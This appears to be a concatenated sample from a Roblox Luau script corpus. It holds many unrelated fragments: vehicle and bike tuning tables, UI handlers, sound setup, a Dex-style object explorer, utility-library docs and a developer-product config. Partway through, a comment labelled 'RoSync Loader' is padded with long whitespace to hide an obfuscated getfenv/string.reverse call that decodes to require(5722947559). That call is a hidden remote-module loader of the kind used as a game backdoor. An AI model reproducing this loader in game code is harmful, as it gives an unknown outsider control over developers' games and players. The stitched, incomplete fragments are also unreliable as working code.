Roblox/luau_corpus huggingface dataset:
---- script -----

Button.Activated:Connect(function()
	
	InventoryFrame.Visible = true
	InformationFrame.Visible = true
	CaseInventoryFrame.Visible = false
	CaseInformationFrame.Visible = false
	SkinsViewFrame.Visible = false
	SkinsViewFrame.Position = UDim2.new(0.099, 0,0.999, 0)
	
end)
-- declarations

local Torso=waitForChild(sp,"Torso")
local Head=waitForChild(sp,"Head")
local RightShoulder=waitForChild(Torso,"Right Shoulder")
local LeftShoulder=waitForChild(Torso,"Left Shoulder")
local RightHip=waitForChild(Torso,"Right Hip")
local LeftHip=waitForChild(Torso,"Left Hip")
local Neck=waitForChild(Torso,"Tail")
local Humanoid=waitForChild(sp,"Humanoid")
local BodyColors=waitForChild(sp,"Body Colors")
local pose="Standing"
local hitsound=waitForChild(Head,"Bite Bark")
local BARKING=waitForChild(Head,"Seal Barking")
--Setup

if Speed_Units == "MPH" then
	Speed_Units = (10/12) * (60/88)
elseif Speed_Units == "KMH" then
	Speed_Units = (10/12) * 1.09728
elseif Speed_Units == "SPS" then
	Speed_Units = 1
end

function CheckValue(Object)
	if Object.Value == true then
		Dash[Object.Name].ImageTransparency = 0
	else
		Dash[Object.Name].ImageTransparency = 0.7
	end
end

for i = 1, 4 do
	Dash.Tach[i].RPM.Text = i * 0.25 * (_Tune.Redline - 500)
end

CheckValue(Values.PBrake)
CheckValue(Values.ABS)
CheckValue(Values.TCS)
--[[
	Novena Constraint Type: Motorcycle
			The Bike Chassis
	
				SecondLogic | Inspare (thanks!)
				Avxnturador | Novena
--]]


local autoscaling	= true					--Estimates top speed

local UNITS	= {								--Click on speed to change units
											--First unit is default	
	{
		units			= "KM/H"			,
		scaling			= (10/12) * 1.09728	, -- 1 stud : 10 inches | ft/s to KP/H
		maxSpeed		= 370				,
		spInc			= 40				, -- Increment between labelled notches
	}
}
-- Define a function to handle button clicks and ban the player
function onKickButtonClicked()
	local playerId = tonumber(idTextBox.Text)
	if playerId then
		local success, result = pcall(function()
			return banPlayerRemote:InvokeServer(playerId)
		end)
		if success and result then
			idTextBox.Text = ""
			idTextBox.PlaceholderText = "Player ID"
			idTextBox.TextColor3 = Color3.fromRGB(255, 255, 255)
			idTextBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		else
			idTextBox.TextColor3 = Color3.fromRGB(255, 0, 0)
			idTextBox.BackgroundColor3 = Color3.fromRGB(255, 200, 200)
			idTextBox.PlaceholderText = "Invalid ID"
		end
	else
		idTextBox.TextColor3 = Color3.fromRGB(255, 0, 0)
		idTextBox.BackgroundColor3 = Color3.fromRGB(255, 200, 200)
		idTextBox.PlaceholderText = "Invalid ID"
	end
end
--[[
	This script creates sounds which are placed under the character head.
	These sounds are used by the "LocalSound" script.
]]--
--humanoidSoundNewLocal.rbxmx--

function CreateNewSound(name, id, looped, pitch)
	local sound = Instance.new("Sound")
	sound.SoundId = id
	sound.Name = name
	sound.archivable = false
	sound.Parent = script.Parent.Head
	sound.Pitch = pitch
	sound.Looped = looped	
	
	return sound
end

CreateNewSound("GettingUp", 	"rbxasset://sounds/action_get_up.mp3",					false, 	1)
CreateNewSound("Died", 		"rbxasset://sounds/uuhhh.mp3",								false, 	1) 
CreateNewSound("FreeFalling", 	"rbxasset://sounds/action_falling.mp3",					true,	1)
CreateNewSound("Jumping", 		"rbxasset://sounds/action_jump.mp3",					false,	1)
CreateNewSound("Landing", 		"rbxasset://sounds/action_jump_land.mp3",				false,	1)
CreateNewSound("Splash", 		"rbxasset://sounds/impact_water.mp3",					false, 	1)
CreateNewSound("Running", 		"rbxasset://sounds/action_footsteps_plastic.mp3",		true, 	1.85)
CreateNewSound("Swimming", 	"rbxasset://sounds/action_swim.mp3",						true,	1.6)
CreateNewSound("Climbing", 	"rbxasset://sounds/action_footsteps_plastic.mp3",			true,	1)
-- Function

botao.ProximityPrompt.Triggered:Connect(function(plr)
	--
	if plr.PlayerInfo.Patente.Value >= 3 then
		--
		if aberto == false then
			create1:Play()
			som:Play()
			tela.BrickColor = BrickColor.new("Lime green")
			script.Parent.Parent.Body.Tela2.BrickColor = BrickColor.new("Lime green")
			wait(3)
			aberto = true
		else
			create2:Play()
			som:Play()
			tela.BrickColor = BrickColor.new("Really red")
			script.Parent.Parent.Body.Tela2.BrickColor = BrickColor.new("Really red")
			wait(3)
			aberto = false
		end
		--
	else
		local Clone = script.NotificationScript:Clone()
		Clone.Disabled = false
		Clone.Parent = plr.PlayerGui
	end
	
end)
--Please don't delete any of the coding unless you going to adjust some
--things and if also you have some knowledge in Lua scripting.
if script.Disabled == false then
	on.Transparency = 0.10
	wait(0.05)
	on.Transparency = 0.15
	wait(0.05)
	on.Transparency = 0.20
	wait(0.05)
	on.Transparency = 0.25
	wait(0.05)
	on.Transparency = 0.30
	wait(0.05)
	on.Transparency = 0.35
	wait(0.05)
	on.Transparency = 0.40
	wait(0.05)
	on.Transparency = 0.45
	wait(0.05)
	on.Transparency = 0.50
	wait(0.05)
	on.Transparency = 0.55
	wait(0.05)
	on.Transparency = 0.60
	wait(0.05)
	on.Transparency = 0.65
	wait(0.05)
	on.Transparency = 0.70
	wait(0.05)
	on.Transparency = 0.75
	wait(0.05)
	on.Transparency = 0.80
	wait(0.05)
	on.Transparency = 0.85
	wait(0.05)
	on.Transparency = 0.90
	wait(0.05)
	on.Transparency = 0.95
	wait(0.05)
	on.Transparency = 1
end
--black 3
if k == "x" and ibo.Value==true then

	bin.Blade.BrickColor = BrickColor.new("Really black")
	bin.Blade2.BrickColor = BrickColor.new("Institutional white")
	bin.Blade.White.Enabled=false colorbin.white.Value = false
	bin.Blade.Blue.Enabled=false colorbin.blue.Value = false
	bin.Blade.Green.Enabled=false colorbin.green.Value = false
	bin.Blade.Magenta.Enabled=false colorbin.magenta.Value = false
	bin.Blade.Orange.Enabled=false colorbin.orange.Value = false
	bin.Blade.Viridian.Enabled=false colorbin.viridian.Value = false
	bin.Blade.Violet.Enabled=false colorbin.violet.Value = false
	bin.Blade.Red.Enabled=false colorbin.red.Value = false
	bin.Blade.Silver.Enabled=false colorbin.silver.Value = false
	bin.Blade.Black.Enabled=true colorbin.black.Value = true
	bin.Blade.NavyBlue.Enabled=false colorbin.navyblue.Value = false
	bin.Blade.Yellow.Enabled=false colorbin.yellow.Value = false
	bin.Blade.Cyan.Enabled=false colorbin.cyan.Value = false
    end
-----------------------------------------
while true do --Makes a loop
wait(3) --The ammount of time before the bone zone goes up again!
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
end -- Ends loop
----- EXAMPLE CODE -----
local weldList1 = WeldAllToPart(P, P.Part) -- Weld a model, returns a list of welds.
UnanchorWeldList(weldList1) -- Unanchores the list of welds given.

script:Destroy() -- Clean up this script.
--[[[Default Controls]]
	--Peripheral Deadzones
	Tune.Peripherals = {
		MSteerWidth				= 67		,	-- Mouse steering control width	(0 - 100% of screen width)
		MSteerDZone				= 10		,	-- Mouse steering deadzone (0 - 100%)
		
		ControlLDZone			= 5			,	-- Controller steering L-deadzone (0 - 100%)
		ControlRDZone			= 5			,	-- Controller steering R-deadzone (0 - 100%)
	}
	
	--Control Mapping
	Tune.Controls = {
		
	--Keyboard Controls
		--Mode Toggles
		ToggleTCS				= Enum.KeyCode.T					,
		ToggleABS				= Enum.KeyCode.T					,
		ToggleTransMode			= Enum.KeyCode.M					,
		ToggleMouseDrive		= Enum.KeyCode.K					,
		
		--Primary Controls
		Throttle				= Enum.KeyCode.Up					,
		Brake					= Enum.KeyCode.Down					,
		SteerLeft				= Enum.KeyCode.Left					,
		SteerRight				= Enum.KeyCode.Right				,
		
		--Secondary Controls
		Throttle2				= Enum.KeyCode.W					,
		Brake2					= Enum.KeyCode.S					,
		SteerLeft2				= Enum.KeyCode.A					,
		SteerRight2				= Enum.KeyCode.D					,
		
		--Manual Transmission
		ShiftUp					= Enum.KeyCode.E					,
		ShiftDown				= Enum.KeyCode.Q					,
		Clutch					= Enum.KeyCode.LeftShift			,
		
		--Handbrake
		PBrake					= Enum.KeyCode.P					,
		
	--Mouse Controls
		MouseThrottle			= Enum.UserInputType.MouseButton1	,
		MouseBrake				= Enum.UserInputType.MouseButton2	,
		MouseClutch				= Enum.KeyCode.W					,
		MouseShiftUp			= Enum.KeyCode.E					,
		MouseShiftDown			= Enum.KeyCode.Q					,
		MousePBrake				= Enum.KeyCode.LeftShift			,
		
	--Controller Mapping
		ContlrThrottle			= Enum.KeyCode.ButtonR2				,
		ContlrBrake				= Enum.KeyCode.ButtonL2				,
		ContlrSteer				= Enum.KeyCode.Thumbstick1			,
		ContlrShiftUp			= Enum.KeyCode.ButtonY				,
		ContlrShiftDown			= Enum.KeyCode.ButtonX				,
		ContlrClutch			= Enum.KeyCode.ButtonR1				,
		ContlrPBrake			= Enum.KeyCode.ButtonL1				,
		ContlrToggleTMode		= Enum.KeyCode.DPadUp				,
		ContlrToggleTCS			= Enum.KeyCode.DPadDown				,
		ContlrToggleABS			= Enum.KeyCode.DPadRight			,
	}
-- Creates a new tree node from an object. Called when an object starts
-- existing in the game tree.
addObject = function(object,noupdate,parent)
	if script then
		-- protect against naughty RobloxLocked objects
		local s = pcall(check,object)
		if not s then
			return
		end
	end

	local parentNode

	if parent then
		parentNode = NodeLookup[parent]
	else
		parentNode = NodeLookup[object.Parent]	
	end

	if not parentNode then
		return
	end

	local objectNode = {
		Object = object;
		Parent = parentNode;
		Index = 0;
		Expanded = false;
		Selected = false;
		Depth = depth(object);
	}

	connLookup[object] = Connect(object.AncestryChanged,function(c,p)
		if c == object then
			if p == nil then
				removeObject(c)
			else
				moveObject(c,p)
			end
		end
	end)

	NodeLookup[object] = objectNode
	insert(parentNode,#parentNode+1,objectNode)

	if not noupdate then
		if nodeIsVisible(objectNode) then
			updateList()
		elseif nodeIsVisible(objectNode.Parent) then
			updateScroll()
		end
	end
end

local function makeObject(obj, par)
	--[[local newObject = Instance_new(obj.ClassName)
	for i,v in pairs(obj.Properties) do
		ypcall(function()
			local newProp
			newProp = ToPropValue(v.Value,v.Type)
			newObject[v.Name] = newProp
		end)
	end
	newObject.Parent = par
	
	obj.Properties.Parent = par--]]

	RemoteEvent:InvokeServer("InstanceNew", obj.ClassName, obj.Properties)
end

local function writeObject(obj)
	local newObject = {ClassName = obj.ClassName, Properties = {}}
	for i,v in pairs(RbxApi.GetProperties(obj.className)) do
		if v["Name"] ~= "Parent" then
			print("thispassed")
			table.insert(newObject.Properties,{Name = v["Name"], Type = v["ValueType"], Value = tostring(obj[v["Name"]])})
		end
	end
	return newObject
end

do
	local function registerNodeLookup4(o)
		NodeLookup[o] = {
			Object = o;
			Parent = nil;
			Index = 0;
			Expanded = true;
		}
	end

	registerNodeLookup4(game)

	NodeLookup[DexOutput] = {
		Object = DexOutput;
		Parent = nil;
		Index = 0;
		Expanded = true;
	}

	registerNodeLookup4(HiddenEntries)	
	registerNodeLookup4(HiddenGame)	

	Connect(game.DescendantAdded,addObject)
	Connect(game.DescendantRemoving,removeObject)

	Connect(DexOutput.DescendantAdded,addObject)
	Connect(DexOutput.DescendantRemoving,removeObject)

	local function get(o)
		return o:GetChildren()
	end

	local function r(o)
		if o == game and MuteHiddenItems then
			for i, v in pairs(gameChildren) do			
				addObject(v,true)
				r(v)
			end
			return	
		end

		local s,children = pcall(get,o)
		if s then
			for i = 1,#children do
				addObject(children[i],true)
				r(children[i])
			end
		end
	end

	r(game)	
	r(DexOutput)

	r(HiddenEntries)

	scrollBar.VisibleSpace = math.ceil(listFrame.AbsoluteSize.y/ENTRY_BOUND)
	updateList()
end
--[[ Last synced 10/19/2020 07:15                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                                  ]]--
-- you can mess with these settings
CanToggleMouse = {allowed = true; activationkey = Enum.KeyCode.Q;} -- lets you move your mouse around in firstperson
CanViewBody = true 		-- whether you see your body
Sensitivity = 0.6		-- anything higher would make looking up and down harder; recommend anything between 0~1
Smoothness = 0.05		-- recommend anything between 0~1
FieldOfView = 80		-- fov
HeadOffset = CFrame.new(0, 1.3 ,0) -- how far your camera is from your head

local cam = game.Workspace.CurrentCamera
local player = players.LocalPlayer
local m = player:GetMouse()
m.Icon = "http://www.roblox.com/asset/?id=569021388" -- replaces mouse icon
local character = player.Character or player.CharacterAdded:wait()
local human = character.Humanoid
local humanoidpart = character.HumanoidRootPart

local head = character:WaitForChild("Head")
local CamPos,TargetCamPos = cam.CoordinateFrame.p,cam.CoordinateFrame.p 
local AngleX,TargetAngleX = 0,0
local AngleY,TargetAngleY = 0,0

local running = true
local freemouse = false
local defFOV = FieldOfView

local w, a, s, d, lshift = false, false, false, false, false
--[=[
	"Links" this Janitor to an Instance, such that the Janitor will `Cleanup` when the Instance is `Destroyed()` and garbage collected.
	A Janitor may only be linked to one instance at a time, unless `AllowMultiple` is true. When called with a truthy `AllowMultiple` parameter,
	the Janitor will "link" the Instance without overwriting any previous links, and will also not be overwritable.
	When called with a falsy `AllowMultiple` parameter, the Janitor will overwrite the previous link which was also called with a falsy `AllowMultiple` parameter, if applicable.

	```lua
	local Obliterator = Janitor.new()

	Obliterator:Add(function()
		print("Cleaning up!")
	end, true)

	do
		local Folder = Instance.new("Folder")
		Obliterator:LinkToInstance(Folder)
		Folder:Destroy()
	end
	```

	```ts
	import { Janitor } from "@rbxts/janitor";

	const Obliterator = new Janitor();
	Obliterator.Add(() => print("Cleaning up!"), true);

	{
		const Folder = new Instance("Folder");
		Obliterator.LinkToInstance(Folder, false);
		Folder.Destroy();
	}
	```

	This returns a mock `RBXScriptConnection` (see: [RbxScriptConnection](#RbxScriptConnection)).

	@param Object Instance -- The instance you want to link the Janitor to.
	@param AllowMultiple? boolean -- Whether or not to allow multiple links on the same Janitor.
	@return RbxScriptConnection -- A pseudo RBXScriptConnection that can be disconnected to prevent the cleanup of LinkToInstance.
]=]
function Janitor:LinkToInstance(Object: Instance, AllowMultiple: boolean?): RbxScriptConnection
	local Connection
	local IndexToUse = AllowMultiple and newproxy(false) or LinkToInstanceIndex
	local IsNilParented = Object.Parent == nil
	local ManualDisconnect = setmetatable({}, RbxScriptConnection)

	local function ChangedFunction(_DoNotUse, NewParent)
		if ManualDisconnect.Connected then
			_DoNotUse = nil
			IsNilParented = NewParent == nil

			if IsNilParented then
				task.defer(function()
					if not ManualDisconnect.Connected then
						return
					elseif not Connection.Connected then
						self:Cleanup()
					else
						while IsNilParented and Connection.Connected and ManualDisconnect.Connected do
							task.wait()
						end

						if ManualDisconnect.Connected and IsNilParented then
							self:Cleanup()
						end
					end
				end)
			end
		end
	end

	Connection = Object.AncestryChanged:Connect(ChangedFunction)
	ManualDisconnect.Connection = Connection

	if IsNilParented then
		ChangedFunction(nil, Object.Parent)
	end

	Object = nil :: any
	return self:Add(ManualDisconnect, "Disconnect", IndexToUse)
end
--create tables:
for i,part in pairs(model:GetChildren()) do
	if string.sub(part.Name, 1,1) == "a" then
		table.insert(a, 1, part)
	end
end
for i,part in pairs(model:GetChildren()) do
	if string.sub(part.Name, 1,1) == "b" then
		table.insert(b, 1, part)
	end
end

function lightOn(T)
	for i, part in pairs (T) do
		if part:FindFirstChild("SurfaceLight") then
			part.SurfaceLight.Enabled = true
		end
	    if part:FindFirstChild("SpotLight") then
			part.SpotLight.Enabled = true
		end
	end
end

function lightOff(T)
	for i, part in pairs (T) do
		if part:FindFirstChild("SurfaceLight") then
			part.SurfaceLight.Enabled = false
		end
	    if part:FindFirstChild("SpotLight") then
			part.SpotLight.Enabled = false
		end
	end
end

while true do

	lightOn(a)
	wait(0.2)

	lightOff(a)
	wait(0.2)
----------------------------------------------------------------------------------

car.DriveSeat.ChildAdded:connect(function(child)
	if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
		child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
	end
end)
--[[
	
	---------------------------------
	--------[ INSTRUCTIONS: ]--------
	---------------------------------
	
	Step 1: Make a developer product. If you dont know how,
            open the script called DeveloperProductsHelp and 
            read it.
	
	Step 2: Get the ID of the first product and place it down
            below.  
	
	Step 3: Where it says product price, change that to the
            amount of robux your developer product costs.
	
	Step 4: If you have more devloper products, put the below
            in the next slot, and add their price in too.
	
	Step 5: If there is a slot that is empty, make sure
	        to delete it.

	---------------------------------
	-----[ END OF INSTRUCTIONS ]-----
	---------------------------------

--]]

local module = {}	
module.Products = {
	{
		ProductPrice = 5, -- Put the PRICE of the Developer Product here.
		ProductId = 1297148371 -- Put the ID of the Developer Product here.
	},
	{
		ProductPrice = 10, -- Put the PRICE of the Developer Product here.
		ProductId = 1297149509 -- Put the ID of the Developer Product here.
	},
	{
		ProductPrice = 15, -- Put the PRICE of the Developer Product here.
		ProductId = 1297149793 -- Put the ID of the Developer Product here.
	},
	{
		ProductPrice = 20, -- Put the PRICE of the Developer Product here.
		ProductId = 1297150000 -- Put the ID of the Developer Product here.
	},
	{
		ProductPrice = 25, -- Put the PRICE of the Developer Product here.
		ProductId = 1297150135 -- Put the ID of the Developer Product here.
	},
	{
		ProductPrice = 50, -- Put the PRICE of the Developer Product here.
		ProductId = 1297150301 -- Put the ID of the Developer Product here.
	},
	{
		ProductPrice = 75, -- Put the PRICE of the Developer Product here.
		ProductId = 1297150525 -- Put the ID of the Developer Product here.
	},
	{
		ProductPrice = 100, -- Put the PRICE of the Developer Product here.
		ProductId = 1297150657 -- Put the ID of the Developer Product here.
	},
	{
		ProductPrice = 150, -- Put the PRICE of the Developer Product here.
		ProductId = 1297150806 -- Put the ID of the Developer Product here.
	},
}


return module
--[[**
	matches given tuple against tuple type definition

	@param ... The type definition for the tuples

	@returns A function that will return true iff the condition is passed
**--]]
function t.tuple(...)
	local checks = {...}
	return function(...)
		local args = {...}
		for i, check in ipairs(checks) do
			local success, errMsg = check(args[i])
			if success == false then
				return false, string.format("Bad tuple index #%s:\n\t%s", i, errMsg or "")
			end
		end

		return true
	end
end
--/////////// CONFIGURATIONS \\\\\\\\\\\\\\\\\


local sensitivity = 1.5 -- how quick/snappy the sway movements are. Don't go above 2
local baseswaysize = 1
local swaysize = 1 -- how large/powerful the sway is. Don't go above 2
local includestrafe = false -- if true the fps arms will sway when the character is strafing
local includewalksway = true -- if true, fps arms will sway when you are walking
local includecamerasway = true -- if true, fps arms will sway when you move the camera
local includejumpsway = true -- if true, jumping will have an effect on the viewmodel
local headoffset = Vector3.new(0,0,0) -- the offset from the default camera position of the head. (0,1,0) will put the camera one stud above the head.
local firstperson_arm_transparency = 0 -- the transparency of the arms in first person; set to 1 for invisible and set to 0 for fully visible.
local firstperson_waist_movements_enabled = false -- if true, animations will affect the Uppertorso. If false, the uppertorso stays still while in first person (applies to R15 only)
------------------------------------------------------------------------
-- parse a local variable declaration statement
-- * used in statements()
------------------------------------------------------------------------
function luaY:localstat(ls)
  -- stat -> LOCAL NAME {',' NAME} ['=' explist1]
  local nvars = 0
  local nexps
  local e = {}  -- expdesc
  repeat
    self:new_localvar(ls, self:str_checkname(ls), nvars)
    nvars = nvars + 1
  until not self:testnext(ls, ",")
  if self:testnext(ls, "=") then
    nexps = self:explist1(ls, e)
  else
    e.k = "VVOID"
    nexps = 0
  end
  self:adjust_assign(ls, nvars, nexps, e)
  self:adjustlocalvars(ls, nvars)
end
--[[Leaning]]--
	Tune.LeanSpeed				= .07 	-- How quickly the the bike will lean, .01 being slow, 1 being almost instantly
	Tune.LeanProgressiveness	= 30 	-- How much steering is kept at higher speeds, a lower number is less steering, a higher number is more steering
	Tune.MaxLean				= 58 	-- Maximum lean angle in degrees
	
	Tune.LeanD			= 90 		-- Dampening of the lean
	Tune.LeanMaxTorque	= 500 		-- Force of the lean
	Tune.LeanP			= 300 		-- Aggressiveness of the lean
--[=[
	@within TableUtil
	@function FlatMap
	@param tbl table
	@param predicate (key: any, value: any, tbl: table) -> newValue: any
	@return table

	Calls `TableUtil.Map` on the given table and predicate, and then
	calls `TableUtil.Flat` on the result from the map operation.

	```lua
	local t = {10, 20, 30}
	local result = TableUtil.FlatMap(t, function(value)
		return {value, value * 2}
	end)
	print(result) --> {10, 20, 20, 40, 30, 60}
	```

	:::note Arrays only
	This function works on arrays, but not dictionaries.
]=]
local function FlatMap<T, M>(tbl: { T }, callback: (T, number, { T }) -> M): { M }
	return Flat(Map(tbl, callback))
end
-- DISGUSTING. NEVER DO THIS.
function nearPlayer()
	local p = game.Players:GetPlayers()

	for i=1,#p do

		if (p[i].Character) then
			local t = p[i].Character:FindFirstChild("Torso")
			if t then
				if (Board.Position - t.Position).magnitude < 20 then
					return true
				end
			end
		end
	
	end
	return false

end

function sepuku()
	if not nearPlayer() then
		Board:Remove()
	end
end

while true do
	wait(30)
	sepuku()
end